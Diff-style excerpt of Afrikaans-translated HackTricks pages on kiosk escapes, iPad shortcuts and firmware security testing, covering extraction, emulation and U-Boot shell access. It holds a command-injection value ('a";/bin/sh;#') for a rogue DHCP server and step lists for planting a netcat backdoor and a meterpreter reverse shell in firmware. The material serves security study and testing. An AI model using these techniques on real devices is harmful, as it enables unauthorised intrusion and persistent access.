Tik hierdie URL's in om 'n Verkenner-uitsig te verkry:
|
||||
|
||||
- `shell:Administratiewe Gereedskap`
|
||||
- `shell:DokumenteBiblioteek`
|
||||
- `shell:Biblioteke`
|
||||
- `shell:Gebruikersprofiele`
|
||||
- `shell:Persoonlik`
|
||||
- `shell:SoekHuisGids`
|
||||
- `shell:NetwerkPlekkeGids`
|
||||
- `shell:StuurNa`
|
||||
- `shell:GebruikersProfiele`
|
||||
- `shell:Gemeenskaplike Administratiewe Gereedskap`
|
||||
- `shell:MyRekenaarGids`
|
||||
- `shell:InternetGids`
|
||||
- `Shell:Profiel`
|
||||
- `Shell:ProgramFiles`
|
||||
- `Shell:Stelsel`
|
||||
- `Shell:BeheerPaneelGids`
|
||||
- `Shell:Windows`
|
||||
- `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Beheer Paneel
|
||||
- `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> My Rekenaar
|
||||
- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> My Netwerk Plekke
|
||||
- `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
|
||||
|
||||
## Wys Lêer Uitbreidings
|
||||
|
||||
Kontroleer hierdie bladsy vir meer inligting: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
|
||||
# Blaaiers truuks
|
||||
|
||||
Back-up iKat weergawes:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
|
||||
|
||||
Skep 'n algemene dialoog met JavaScript en toegang lêer verkenner: `document.write('<input/type=file>')`
|
||||
Bron: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
|
||||
# iPad
|
||||
|
||||
## Gebare en knoppies
|
||||
|
||||
- Veeg op met vier (of vyf) vingers / Dubbel-tik Huis knoppie: Om die multitask uitsig te sien en App te verander
|
||||
|
||||
- Veeg een kant of die ander met vier of vyf vingers: Ten einde na die volgende/laaste App te verander
|
||||
|
||||
- Knyp die skerm met vyf vingers / Raak Huis knoppie aan / Veeg op met 1 vinger vanaf die onderkant van die skerm in 'n vinnige beweging na bo: Om toegang tot Huis te kry
|
||||
|
||||
- Veeg een vinger vanaf die onderkant van die skerm net 1-2 duim (stadig): Die dok sal verskyn
|
||||
|
||||
- Veeg af vanaf die boonste deel van die skerm met 1 vinger: Om jou kennisgewings te sien
|
||||
|
||||
- Veeg af met 1 vinger die boonste regterhoek van die skerm: Om iPad Pro se kontrole sentrum te sien
|
||||
|
||||
- Veeg 1 vinger vanaf die linkerkant van die skerm 1-2 duim: Om Vandag se uitsig te sien
|
||||
|
||||
- Veeg vinnig 1 vinger vanaf die middel van die skerm na regs of links: Om na die volgende/laaste App te verander
|
||||
|
||||
- Druk en hou die Aan/**Af**/Slaap knoppie in die boonste regterhoek van die **iPad +** Beweeg die Gly om **af te skakel** skuif al die pad na regs: Om af te skakel
|
||||
|
||||
- Druk die Aan/**Af**/Slaap knoppie in die boonste regterhoek van die **iPad en die Huis knoppie vir 'n paar sekondes**: Om 'n harde afskakeling af te dwing
|
||||
|
||||
- Druk die Aan/**Af**/Slaap knoppie in die boonste regterhoek van die **iPad en die Huis knoppie vinnig**: Om 'n skermskoot te neem wat in die onderste linkerhoek van die skerm sal verskyn. Druk albei knoppies op dieselfde tyd baie kortliks, aangesien as jy hulle 'n paar sekondes hou, 'n harde afskakeling uitgevoer sal word.
|
||||
|
||||
## Skakels
|
||||
|
||||
Jy moet 'n iPad sleutelbord of 'n USB sleutelbord-adapter hê. Slegs skakels wat kan help om uit die toepassing te ontsnap, sal hier getoon word.
|
||||
|
||||
| Sleutel | Naam |
|
||||
| --- | ------------ |
|
||||
| ⌘ | Opdrag |
|
||||
| ⌥ | Opsie (Alt) |
|
||||
| ⇧ | Shift |
|
||||
| ↩ | Terug |
|
||||
| ⇥ | Tab |
|
||||
| ^ | Beheer |
|
||||
| ← | Linker Pyl |
|
||||
| → | Regter Pyl |
|
||||
| ↑ | Bo Pyl |
|
||||
| ↓ | Onder Pyl |
|
||||
|
||||
### Stelselskakels
|
||||
|
||||
Hierdie skakels is vir die visuele instellings en klankinstellings, afhangende van die gebruik van die iPad.
|
||||
|
||||
| Skakel | Aksie |
|
||||
| -------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | Dim Sscreen |
|
||||
| F2 | Verhoog skerm |
|
||||
| F7 | Terug een liedjie |
|
||||
| F8 | Speel/pouse |
|
||||
| F9 | Skuif liedjie |
|
||||
| F10 | Stil |
|
||||
| F11 | Verminder volume |
|
||||
| F12 | Verhoog volume |
|
||||
| ⌘ Space | Wys 'n lys van beskikbare tale; om een te kies, tik weer die spasie sleutel. |
|
||||
|
||||
### iPad navigasie
|
||||
|
||||
| Skakel | Aksie |
|
||||
| -------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ⌘H | Gaan na Huis |
|
||||
| ⌘⇧H (Opdrag-Shift-H) | Gaan na Huis |
|
||||
| ⌘ (Space) | Open Spotlight |
|
||||
| ⌘⇥ (Opdrag-Tab) | Lys laaste tien gebruikte toepassings |
|
||||
| ⌘\~ | Gaan na die laaste App |
|
||||
| ⌘⇧3 (Opdrag-Shift-3) | Skermskoot (hang in onderste linkerhoek om te stoor of daarop te handel) |
|
||||
| ⌘⇧4 | Skermskoot en open dit in die redigeerder |
|
||||
| Druk en hou ⌘ | Lys van skakels beskikbaar vir die App |
|
||||
| ⌘⌥D (Opdrag-Opsie/Alt-D) | Bring die dok op |
|
||||
| ^⌥H (Beheer-Opsie-H) | Huis knoppie |
|
||||
| ^⌥H H (Beheer-Opsie-H-H) | Wys multitask balk |
|
||||
| ^⌥I (Beheer-Opsie-i) | Item keuse |
|
||||
| Escape | Terug knoppie |
|
||||
| → (Regter pyl) | Volgende item |
|
||||
| ← (Linker pyl) | Vorige item |
|
||||
| ↑↓ (Bo pyl, Onder pyl) | Terselfdertyd tik op die geselekte item |
|
||||
| ⌥ ↓ (Opsie-Onder pyl) | Rol af |
|
||||
| ⌥↑ (Opsie-Bo pyl) | Rol op |
|
||||
| ⌥← of ⌥→ (Opsie-Linker pyl of Opsie-Regter pyl) | Rol links of regs |
|
||||
| ^⌥S (Beheer-Opsie-S) | Skakel VoiceOver spraak aan of af |
|
||||
| ⌘⇧⇥ (Opdrag-Shift-Tab) | Wissel na die vorige app |
|
||||
| ⌘⇥ (Opdrag-Tab) | Wissel terug na die oorspronklike app |
|
||||
| ←+→, dan Opsie + ← of Opsie+→ | Navigeer deur Dok |
|
||||
|
||||
### Safari skakels
|
||||
|
||||
| Skakel | Aksie |
|
||||
| ----------------------- | ------------------------------------------------ |
|
||||
| ⌘L (Opdrag-L) | Open Ligging |
|
||||
| ⌘T | Open 'n nuwe tab |
|
||||
| ⌘W | Sluit die huidige tab |
|
||||
| ⌘R | Vernuw die huidige tab |
|
||||
| ⌘. | Stop laai van die huidige tab |
|
||||
| ^⇥ | Wissel na die volgende tab |
|
||||
| ^⇧⇥ (Beheer-Shift-Tab) | Beweeg na die vorige tab |
|
||||
| ⌘L | Kies die teksinvoer/URL veld om dit te wysig |
|
||||
| ⌘⇧T (Opdrag-Shift-T) | Open laaste geslote tab (kan verskeie kere gebruik word) |
|
||||
| ⌘\[ | Gaan terug een bladsy in jou blaai geskiedenis |
|
||||
| ⌘] | Gaan vorentoe een bladsy in jou blaai geskiedenis |
|
||||
| ⌘⇧R | Aktiveer Leser Modus |
|
||||
|
||||
### Pos skakels
|
||||
|
||||
| Skakel | Aksie |
|
||||
| -------------------------- | ---------------------------- |
|
||||
| ⌘L | Open Ligging |
|
||||
| ⌘T | Open 'n nuwe tab |
|
||||
| ⌘W | Sluit die huidige tab |
|
||||
| ⌘R | Vernuw die huidige tab |
|
||||
| ⌘. | Stop laai van die huidige tab |
|
||||
| ⌘⌥F (Opdrag-Opsie/Alt-F) | Soek in jou posbus |
|
||||
|
||||
# Verwysings
|
||||
|
||||
- [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
|
||||
- [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
|
||||
- [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
|
||||
- [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,231 +0,0 @@
|
||||
# Firmware Analise
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Inleiding**
|
||||
|
||||
Firmware is noodsaaklike sagteware wat toestelle in staat stel om korrek te werk deur die kommunikasie tussen die hardewarekomponente en die sagteware waarmee gebruikers interaksie het, te bestuur en te fasiliteer. Dit word in permanente geheue gestoor, wat verseker dat die toestel toegang kan verkry tot noodsaaklike instruksies vanaf die oomblik dat dit aangeskakel word, wat lei tot die bekendstelling van die bedryfstelsel. Om firmware te ondersoek en moontlik te wysig, is 'n kritieke stap in die identifisering van sekuriteitskwesbaarhede.
|
||||
|
||||
## **Inligting Versameling**
|
||||
|
||||
**Inligting versameling** is 'n kritieke aanvanklike stap in die begrip van 'n toestel se samestelling en die tegnologieë wat dit gebruik. Hierdie proses behels die versameling van data oor:
|
||||
|
||||
- Die CPU-argitektuur en bedryfstelsel wat dit loop
|
||||
- Bootloader-spesifikasies
|
||||
- Hardeware-opstelling en datasheets
|
||||
- Kodebasis-metrieke en bronliggings
|
||||
- Eksterne biblioteke en lisensietipes
|
||||
- Opdateringsgeskiedenisse en regulerende sertifikate
|
||||
- Argitektoniese en vloediagramme
|
||||
- Sekuriteitsassessering en geïdentifiseerde kwesbaarhede
|
||||
|
||||
Vir hierdie doel is **oopbron intelligensie (OSINT)** gereedskap van onskatbare waarde, sowel as die analise van enige beskikbare oopbron sagtewarekomponente deur handmatige en geoutomatiseerde hersieningsprosesse. Gereedskap soos [Coverity Scan](https://scan.coverity.com) en [Semmle’s LGTM](https://lgtm.com/#explore) bied gratis statiese analise wat benut kan word om potensiële probleme te vind.
|
||||
|
||||
## **Die Firmware Verkryging**
|
||||
|
||||
Die verkryging van firmware kan op verskillende maniere benader word, elk met sy eie vlak van kompleksiteit:
|
||||
|
||||
- **Direk** van die bron (ontwikkelaars, vervaardigers)
|
||||
- **Bou** dit volgens verskafde instruksies
|
||||
- **Laai** dit af van amptelike ondersteuningswebwerwe
|
||||
- Gebruik **Google dork** navrae om gehoste firmware-lêers te vind
|
||||
- Toegang tot **cloud storage** direk, met gereedskap soos [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- Interseptering van **opdaterings** via man-in-the-middle tegnieke
|
||||
- **Ekstraksie** van die toestel deur verbindings soos **UART**, **JTAG**, of **PICit**
|
||||
- **Sniffing** vir opdateringsversoeke binne toestelkommunikasie
|
||||
- Identifisering en gebruik van **hardcoded opdatering eindpunte**
|
||||
- **Dumping** van die bootloader of netwerk
|
||||
- **Verwydering en lees** van die stoorchip, wanneer alles anders misluk, met toepaslike hardeware gereedskap
|
||||
|
||||
## Analisering van die firmware
|
||||
|
||||
Nou dat jy **die firmware het**, moet jy inligting daaroor onttrek om te weet hoe om dit te behandel. Verskillende gereedskap wat jy daarvoor kan gebruik:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
strings -tx <bin> #print offsets in hex
|
||||
hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
As jy nie veel met daardie gereedskap vind nie, kyk na die **entropy** van die beeld met `binwalk -E <bin>`, as die entropy laag is, is dit waarskynlik nie geënkripteer nie. As die entropy hoog is, is dit waarskynlik geënkripteer (of op een of ander manier gecomprimeer).
|
||||
|
||||
Boonop kan jy hierdie gereedskap gebruik om **lêers wat in die firmware ingebed is** te onttrek:
|
||||
|
||||
{{#ref}}
|
||||
../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
Of [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) om die lêer te inspekteer.
|
||||
|
||||
### Verkryging van die Lêerstelsel
|
||||
|
||||
Met die vorige genoemde gereedskap soos `binwalk -ev <bin>` behoort jy in staat te wees om die **lêerstelsel** te **onttrek**.\
|
||||
Binwalk onttrek dit gewoonlik binne 'n **map wat as die lêerstelseltipe genoem word**, wat gewoonlik een van die volgende is: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### Handmatige Lêerstelsel Onttrekking
|
||||
|
||||
Soms sal binwalk **nie die magiese byte van die lêerstelsel in sy handtekeninge hê nie**. In hierdie gevalle, gebruik binwalk om die **offset van die lêerstelsel te vind en die gecomprimeerde lêerstelsel** uit die binêre te sny en die lêerstelsel **handmatig te onttrek** volgens sy tipe met die stappe hieronder.
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
----------------------------------------------------------------------------- ---
|
||||
|
||||
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
|
||||
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
|
||||
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||
```
|
||||
Voer die volgende **dd-opdrag** uit om die Squashfs-lêerstelsel te sny.
|
||||
```
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
8257536+0 records in
|
||||
|
||||
8257536+0 records out
|
||||
|
||||
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||
```
|
||||
Alternatiewelik kan die volgende opdrag ook uitgevoer word.
|
||||
|
||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||
|
||||
- Vir squashfs (gebruik in die voorbeeld hierbo)
|
||||
|
||||
`$ unsquashfs dir.squashfs`
|
||||
|
||||
Lêers sal in die "`squashfs-root`" gids wees daarna.
|
||||
|
||||
- CPIO argief lêers
|
||||
|
||||
`$ cpio -ivd --no-absolute-filenames -F <bin>`
|
||||
|
||||
- Vir jffs2 lêerstelsels
|
||||
|
||||
`$ jefferson rootfsfile.jffs2`
|
||||
|
||||
- Vir ubifs lêerstelsels met NAND flash
|
||||
|
||||
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
|
||||
|
||||
`$ ubidump.py <bin>`
|
||||
|
||||
## Analise van Firmware
|
||||
|
||||
Sodra die firmware verkry is, is dit noodsaaklik om dit te ontleed om die struktuur en potensiële kwesbaarhede te verstaan. Hierdie proses behels die gebruik van verskeie gereedskap om waardevolle data uit die firmware beeld te analiseer en te onttrek.
|
||||
|
||||
### Begin Analise Gereedskap
|
||||
|
||||
'n Stel opdragte word verskaf vir die aanvanklike inspeksie van die binêre lêer (verwys na `<bin>`). Hierdie opdragte help om lêertipes te identifiseer, stringe te onttrek, binêre data te analiseer, en die partisie en lêerstelsel besonderhede te verstaan:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
strings -tx <bin> #prints offsets in hexadecimal
|
||||
hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
Om die versleutelingstatus van die beeld te evalueer, word die **entropy** nagegaan met `binwalk -E <bin>`. Lae entropy dui op 'n gebrek aan versleuteling, terwyl hoë entropy moontlike versleuteling of kompressie aandui.
|
||||
|
||||
Vir die onttrekking van **ingebedde lêers**, word gereedskap en hulpbronne soos die **file-data-carving-recovery-tools** dokumentasie en **binvis.io** vir lêerinspeksie aanbeveel.
|
||||
|
||||
### Onttrekking van die Lêerstelsel
|
||||
|
||||
Met `binwalk -ev <bin>` kan 'n mens gewoonlik die lêerstelsel onttrek, dikwels in 'n gids wat na die lêerstelseltipe genoem is (bv. squashfs, ubifs). Wanneer **binwalk** egter nie die lêerstelseltipe kan herken weens ontbrekende magic bytes nie, is handmatige onttrekking nodig. Dit behels die gebruik van `binwalk` om die lêerstelseloffset te lokaliseer, gevolg deur die `dd` opdrag om die lêerstelsel uit te sny:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
Daarna, afhangende van die lêerstelseltipe (bv. squashfs, cpio, jffs2, ubifs), word verskillende opdragte gebruik om die inhoud handmatig te onttrek.
|
||||
|
||||
### Lêerstelselanalise
|
||||
|
||||
Met die lêerstelsel onttrek, begin die soektog na sekuriteitsfoute. Aandag word gegee aan onveilige netwerkdaemons, hardgecodeerde akrediteerbesonderhede, API-eindpunte, opdateringsbedienerfunksies, nie-gecompileerde kode, opstartskripte, en gecompileerde binêre vir offlinanalise.
|
||||
|
||||
**Belangrike plekke** en **items** om te ondersoek sluit in:
|
||||
|
||||
- **etc/shadow** en **etc/passwd** vir gebruikersakrediteerbesonderhede
|
||||
- SSL sertifikate en sleutels in **etc/ssl**
|
||||
- Konfigurasie- en skriplêers vir potensiële kwesbaarhede
|
||||
- Ingebedde binêre vir verdere analise
|
||||
- Algemene IoT-toestel webbedieners en binêre
|
||||
|
||||
Verskeie gereedskap help om sensitiewe inligting en kwesbaarhede binne die lêerstelsel te ontdek:
|
||||
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) en [**Firmwalker**](https://github.com/craigz28/firmwalker) vir sensitiewe inligting soektog
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) vir omvattende firmware-analise
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), en [**EMBA**](https://github.com/e-m-b-a/emba) vir statiese en dinamiese analise
|
||||
|
||||
### Sekuriteitskontroles op Gecompileerde Binêre
|
||||
|
||||
Sowel die bronkode as gecompileerde binêre wat in die lêerstelsel gevind word, moet ondersoek word vir kwesbaarhede. Gereedskap soos **checksec.sh** vir Unix binêre en **PESecurity** vir Windows binêre help om onbeskermde binêre te identifiseer wat uitgebuit kan word.
|
||||
|
||||
## Emulering van Firmware vir Dynamiese Analise
|
||||
|
||||
Die proses van emulering van firmware stel **dynamiese analise** in staat van 'n toestel se werking of 'n individuele program. Hierdie benadering kan uitdagings ondervind met hardeware of argitektuurafhanklikhede, maar die oordrag van die wortellêerstelsel of spesifieke binêre na 'n toestel met ooreenstemmende argitektuur en endianness, soos 'n Raspberry Pi, of na 'n voorafgeboude virtuele masjien, kan verdere toetsing fasiliteer.
|
||||
|
||||
### Emulering van Individuele Binêre
|
||||
|
||||
Vir die ondersoek van enkele programme, is dit noodsaaklik om die program se endianness en CPU-argitektuur te identifiseer.
|
||||
|
||||
#### Voorbeeld met MIPS Argitektuur
|
||||
|
||||
Om 'n MIPS argitektuur binêre te emuleer, kan 'n mens die opdrag gebruik:
|
||||
```bash
|
||||
file ./squashfs-root/bin/busybox
|
||||
```
|
||||
En om die nodige emulasie-instrumente te installeer:
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
Vir MIPS (big-endian) word `qemu-mips` gebruik, en vir little-endian binaries sou `qemu-mipsel` die keuse wees.
|
||||
|
||||
#### ARM Argitektuur Emulasie
|
||||
|
||||
Vir ARM binaries is die proses soortgelyk, met die `qemu-arm` emulator wat gebruik word vir emulasie.
|
||||
|
||||
### Volle Stelsel Emulasie
|
||||
|
||||
Gereedskap soos [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), en ander, fasiliteer volle firmware emulasie, wat die proses outomatiseer en help met dinamiese analise.
|
||||
|
||||
## Dinamiese Analise in Praktyk
|
||||
|
||||
Op hierdie stadium word 'n werklike of geëmuleerde toestelomgewing vir analise gebruik. Dit is noodsaaklik om shell-toegang tot die OS en lêerstelsel te handhaaf. Emulasie mag nie perfek hardeware-interaksies naboots nie, wat af en toe emulasie-herstart vereis. Analise moet die lêerstelsel herbesoek, blootgestelde webbladsye en netwerkdienste benut, en opstartlader kwesbaarhede verken. Firmware integriteitstoetse is krities om potensiële agterdeur kwesbaarhede te identifiseer.
|
||||
|
||||
## Tydren Analise Tegnieke
|
||||
|
||||
Tydren analise behels interaksie met 'n proses of binary in sy bedryfsomgewing, met behulp van gereedskap soos gdb-multiarch, Frida, en Ghidra om breekpunte in te stel en kwesbaarhede deur fuzzing en ander tegnieke te identifiseer.
|
||||
|
||||
## Binary Exploitatie en Bewys-van-Konsep
|
||||
|
||||
Om 'n PoC vir geïdentifiseerde kwesbaarhede te ontwikkel, vereis 'n diep begrip van die teikenargitektuur en programmering in laervlak tale. Binary tydren beskermings in ingebedde stelsels is skaars, maar wanneer dit teenwoordig is, mag tegnieke soos Return Oriented Programming (ROP) nodig wees.
|
||||
|
||||
## Voorbereide Bedryfstelsels vir Firmware Analise
|
||||
|
||||
Bedryfstelsels soos [AttifyOS](https://github.com/adi0x90/attifyos) en [EmbedOS](https://github.com/scriptingxss/EmbedOS) bied vooraf-gekonfigureerde omgewings vir firmware sekuriteitstoetsing, toegerus met nodige gereedskap.
|
||||
|
||||
## Voorbereide OS's om Firmware te analiseer
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS is 'n distro wat bedoel is om jou te help om sekuriteitsassessering en penetrasietoetsing van Internet of Things (IoT) toestelle uit te voer. Dit spaar jou baie tyd deur 'n vooraf-gekonfigureerde omgewing met al die nodige gereedskap te bied.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Ingebedde sekuriteitstoetsing bedryfstelsel gebaseer op Ubuntu 18.04 wat vooraf gelaai is met firmware sekuriteitstoetsing gereedskap.
|
||||
|
||||
## Kwetsbare firmware om te oefen
|
||||
|
||||
Om kwesbaarhede in firmware te ontdek, gebruik die volgende kwesbare firmware projekte as 'n beginpunt.
|
||||
|
||||
- OWASP IoTGoat
|
||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
- The Damn Vulnerable Router Firmware Project
|
||||
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
|
||||
- Damn Vulnerable ARM Router (DVAR)
|
||||
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
|
||||
- ARM-X
|
||||
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
|
||||
- Azeria Labs VM 2.0
|
||||
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
|
||||
- Damn Vulnerable IoT Device (DVID)
|
||||
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||
|
||||
## Ver
|
@ -1,52 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Die volgende stappe word aanbeveel om toestel opstartkonfigurasies en bootloaders soos U-boot te wysig:
|
||||
|
||||
1. **Toegang tot Bootloader se Interpreter Shell**:
|
||||
|
||||
- Gedurende opstart, druk "0", spasie, of ander geïdentifiseerde "magiese kodes" om toegang te verkry tot die bootloader se interpreter shell.
|
||||
|
||||
2. **Wysig Boot Argumente**:
|
||||
|
||||
- Voer die volgende opdragte uit om '`init=/bin/sh`' by die boot argumente te voeg, wat die uitvoering van 'n shell opdrag toelaat:
|
||||
%%%
|
||||
#printenv
|
||||
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
|
||||
#saveenv
|
||||
#boot
|
||||
%%%
|
||||
|
||||
3. **Stel TFTP Bediening in**:
|
||||
|
||||
- Konfigureer 'n TFTP bediener om beelde oor 'n plaaslike netwerk te laai:
|
||||
%%%
|
||||
#setenv ipaddr 192.168.2.2 #lokale IP van die toestel
|
||||
#setenv serverip 192.168.2.1 #TFTP bediener IP
|
||||
#saveenv
|
||||
#reset
|
||||
#ping 192.168.2.1 #kontroleer netwerktoegang
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr neem die adres om die lêer in te laai en die lêernaam van die beeld op die TFTP bediener
|
||||
%%%
|
||||
|
||||
4. **Gebruik `ubootwrite.py`**:
|
||||
|
||||
- Gebruik `ubootwrite.py` om die U-boot beeld te skryf en 'n gewysigde firmware te druk om worteltoegang te verkry.
|
||||
|
||||
5. **Kontroleer Debug Kenmerke**:
|
||||
|
||||
- Verifieer of debug kenmerke soos gedetailleerde logging, laai van arbitrêre kerne, of opstart vanaf onbetroubare bronne geaktiveer is.
|
||||
|
||||
6. **Versigtigheid met Hardeware Interferensie**:
|
||||
|
||||
- Wees versigtig wanneer jy een pen aan grond verbind en met SPI of NAND flash skywe interaksie het tydens die toestel se opstartvolgorde, veral voordat die kern ontspan. Raadpleeg die NAND flash skyf se datasheet voordat jy penne kortsluit.
|
||||
|
||||
7. **Stel Rogue DHCP Bediening in**:
|
||||
- Stel 'n rogue DHCP bediener op met kwaadwillige parameters vir 'n toestel om in te neem tydens 'n PXE opstart. Gebruik gereedskap soos Metasploit se (MSF) DHCP bystandbediener. Wysig die 'FILENAME' parameter met opdraginjektie opdragte soos `'a";/bin/sh;#'` om invoervalidasie vir toestel opstart prosedures te toets.
|
||||
|
||||
**Let wel**: Die stappe wat fisiese interaksie met toestel penne behels (\*gemerk met asterisks) moet met uiterste versigtigheid benader word om te voorkom dat die toestel beskadig word.
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,35 +0,0 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Firmware Integriteit
|
||||
|
||||
Die **aangepaste firmware en/of gecompileerde binêre kan opgelaai word om integriteit of handtekeningverifikasiefoute te benut**. Die volgende stappe kan gevolg word vir agterdeur bind shell kompilering:
|
||||
|
||||
1. Die firmware kan onttrek word met firmware-mod-kit (FMK).
|
||||
2. Die teiken firmware argitektuur en endianness moet geïdentifiseer word.
|
||||
3. 'n Kruiskompiler kan gebou word met behulp van Buildroot of ander geskikte metodes vir die omgewing.
|
||||
4. Die agterdeur kan gebou word met die kruiskompiler.
|
||||
5. Die agterdeur kan na die onttrokken firmware /usr/bin gids gekopieer word.
|
||||
6. Die toepaslike QEMU binêre kan na die onttrokken firmware rootfs gekopieer word.
|
||||
7. Die agterdeur kan geëmuleer word met behulp van chroot en QEMU.
|
||||
8. Die agterdeur kan via netcat toeganklik gemaak word.
|
||||
9. Die QEMU binêre moet van die onttrokken firmware rootfs verwyder word.
|
||||
10. Die gewysigde firmware kan herverpak word met behulp van FMK.
|
||||
11. Die agterdeur firmware kan getoets word deur dit te emuleer met firmware analise toolkit (FAT) en verbinding te maak met die teiken agterdeur IP en poort met behulp van netcat.
|
||||
|
||||
As 'n root shell reeds verkry is deur dinamiese analise, bootloader manipulasie, of hardeware sekuriteitstoetsing, kan voorafgecompileerde kwaadwillige binêre soos implante of omgekeerde shells uitgevoer word. Geoutomatiseerde payload/implant gereedskap soos die Metasploit raamwerk en 'msfvenom' kan benut word met die volgende stappe:
|
||||
|
||||
1. Die teiken firmware argitektuur en endianness moet geïdentifiseer word.
|
||||
2. Msfvenom kan gebruik word om die teiken payload, aanvaller gasheer IP, luister poortnommer, lêertype, argitektuur, platform, en die uitvoer lêer spesifiek aan te dui.
|
||||
3. Die payload kan na die gecompromitteerde toestel oorgedra word en verseker word dat dit uitvoeringsregte het.
|
||||
4. Metasploit kan voorberei word om inkomende versoeke te hanteer deur msfconsole te begin en die instellings volgens die payload te konfigureer.
|
||||
5. Die meterpreter omgekeerde shell kan op die gecompromitteerde toestel uitgevoer word.
|
||||
6. Meterpreter sessies kan gemonitor word soos hulle oopmaak.
|
||||
7. Post-exploitatie aktiwiteite kan uitgevoer word.
|
||||
|
||||
As dit moontlik is, kan kwesbaarhede binne opstart skripte benut word om volgehoue toegang tot 'n toestel oor herlaai te verkry. Hierdie kwesbaarhede ontstaan wanneer opstart skripte verwys, [simbolies skakel](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), of afhanklik is van kode wat geleë is in onbetroubare gemonteerde plekke soos SD kaarte en flits volumes wat gebruik word om data buite wortel lêerstelsels te stoor.
|
||||
|
||||
## Verwysings
|
||||
|
||||
